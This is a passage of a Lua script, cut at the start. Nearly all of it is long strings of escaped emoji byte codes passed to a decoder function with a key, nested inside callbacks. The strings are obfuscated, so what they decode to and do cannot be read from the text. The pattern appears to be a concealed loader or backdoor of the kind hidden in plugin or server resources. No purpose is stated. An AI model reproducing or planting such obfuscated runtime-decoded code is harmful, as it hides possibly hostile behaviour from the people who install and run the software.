159\140\136\240\159\140\186\240\159\144\160\240\159\140\139\240\159\144\160\240\159\166\136\240\159\166\128\240\159\166\136\240\159\140\139\240\159\144\179\240\159\140\186\240\159\140\186\240\159\140\136\240\159\144\172\240\159\144\154\240\159\144\153\240\159\140\180\240\159\140\139\240\159\166\136\240\159\144\139\240\159\144\139\240\159\165\165\240\159\144\154\240\159\144\153\240\159\144\139\240\159\144\139\240\159\166\136\240\159\140\139\240\159\144\179\240\159\166\128\240\159\140\136\240\159\140\180\240\159\140\138\240\159\166\128\240\159\140\180\240\159\144\161\240\159\144\161\240\159\144\160\240\159\140\180\240\159\144\139\240\159\144\154\240\159\144\162\240\159\144\162\240\159\140\180\240\159\144\179\240\159\140\186\240\159\144\161\240\159\144\153\240\159\166\128\240\159\140\138\240\159\140\138\240\159\144\172\240\159\140\180\240\159\140\138\240\159\140\186\240\159\144\179\240\159\140\180\240\159\166\136\240\159\144\162\240\159\140\138\240\159\144\154\240\159\140\180\240\159\166\136\240\159\165\165\240\159\166\136\240\159\144\160\240\159\144\139\240\159\144\172\240\159\140\138\240\159\144\172\240\159\140\186\240\159\144\162\240\159\144\172\240\159\144\172\240\159\144\154\240\159\144\139\240\159\144\139\240\159\166\136\240\159\140\136\240\159\144\179\240\159\144\162\240\159\140\139\240\159\144\162\240\159\144\153\240\159\140\138\240\159\140\138\240\159\144\161\240\159\166\136\240\159\144\160\240\159\144\153\240\159\140\186\240\159\166\128\240\159\140\186\240\159\140\180\240\159\140\136\240\159\140\186\240\159\144\139\240\159\144\162\240\159\144\153\240\159\140\139\240\159\166\128\240\159\140\138\240\159\144\139\240\159\166\128\240\159\144\172\240\159\144\162\240\159\144\154\240\159\144\179\240\159\140\136\240\159\144\160\240\159\165\165\240\159\144\179\240\159\144\153\240\159\144\154\240\159\144\139\240\159\140\180\240\159\144\162\240\159\140\186\240\159\140\136\240\159\144\139\240\159\166\128\240\159\140\186\240\159\144\139\240\159\140\180\240\159\144\162\240\159\140\180\240\159\144\154\240\159\144\160\240\159\144\162\240\159\140\138\240\159\144\154\240\159\144\161\240\159\144\161\240\159\144\161\240\159\166\136\240\159\140\138\240\159\140\138\240\159\144\154\240\159\166\136\240\159\166\128\240\159\140\180\240\159\140\138\240\159\144\172\240\159\140\136\240\159\144\153\240\159\140\186\240\159\140\138\240\159\166\136\240\159\140\136\240\159\140\138\240\159\166\128\240\159\144\139\240\159\144\139\240\159\140\139\240\159\144\162\240\159\144\160\240\159\165\165\240\159\144\139\240\159\140\180\240\159\144\139\240\159\165\165\240\159\140\139\240\159\166\128\240\159\165\165\240\159\144\161\240\159\140\186\240\159\140\139\240\159\166\136\240\159\165\165\240\159\140\186\240\159\140\139\240\159\144\139\240\159\165\165\240\159\144\179\240\159\144\160\240\159\144\153\240\159\140\186\240\159\140\136\240\159\144\179\240\159\140\139\240\159\166\128\240\159\140\186\240\159\140\186\240\159\144\153\240\159\144\161\240\159\140\186\240\159\144\160\240\159\144\153\240\159\165\165\240\159\144\162\240\159\144\139\240\159\144\162\240\159\144\172\240\159\140\138\240\159\165\165\240\159\166\128\240\159\144\179\240\159\140\180\240\159\144\161\240\159\144\161\240\159\140\186\240\159\140\180\240\159\144\160\240\159\166\136\240\159\144\153\240\159\140\186\240\159\144\172\240\159\140\180\240\159\144\172\240\159\144\160\240\159\140\136\240\159\144\162\240\159\144\179\240\159\144\153\240\159\140\139\240\159\140\138\240\159\140\186\240\159\140\136\240\159\144\139\240\159\144\139\240\159\140\138\240\159\140\180\240\159\144\160\240\159\140\180\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\161\240\159\144\172\240\159\166\128\240\159\144\160\240\159\140\139\240\159\144\153\240\159\144\179\240\159\144\154\240\159\166\136\240\159\140\139\240\159\140\138\240\159\165\165\240\159\144\172\240\159\140\139\240\159\140\136\240\159\165\165\240\159\144\179\240\159\144\172\240\159\144\153\240\159\144\153\240\159\144\160\240\159\140\138\240\159\140\180\240\159\144\161", __K), __D("\240\159\140\186\240\159\144\153\240\159\166\136\240\159\140\138\240\159\144\162\240\159\144\179\240\159\144\161\240\159\140\136\240\159\144\179\240\159\144\179\240\159\144\153\240\159\140\186\240\159\166\136\240\159\144\161\240\159\166\128\240\159\140\180\240\159\140\136\240\159\140\186\240\159\144\179\240\159\140\136", __K), (__D("\240\159\140\138\240\159\144\153\240\159\144\160\240\159\144\172\240\159\140\180\240\159\140\180\240\159\166\136\240\159\140\138\240\159\144\160\240\159\140\186\240\159\140\180\240\159\144\161\240\159\165\165\240\159\144\162\240\159\144\154\240\159\144\179\240\159\144\139\240\159\144\153\240\159\144\161\240\159\166\128\240\159\166\128\240\159\165\165\240\159\144\172\240\159\144\160\240\159\144\161\240\159\144\139\240\159\140\136\240\159\140\136\240\159\140\138\240\159\140\138\240\159\144\172\240\159\140\180\240\159\165\165\240\159\166\128\240\159\144\179\240\159\144\179\240\159\166\136\240\159\144\139\240\159\166\128\240\159\140\138\240\159\140\186\240\159\144\139\240\159\144\179\240\159\166\136\240\159\140\180\240\159\144\154\240\159\140\136\240\159\144\139", __K)))
        end
      end
    end)
    u.c = nil
  end
end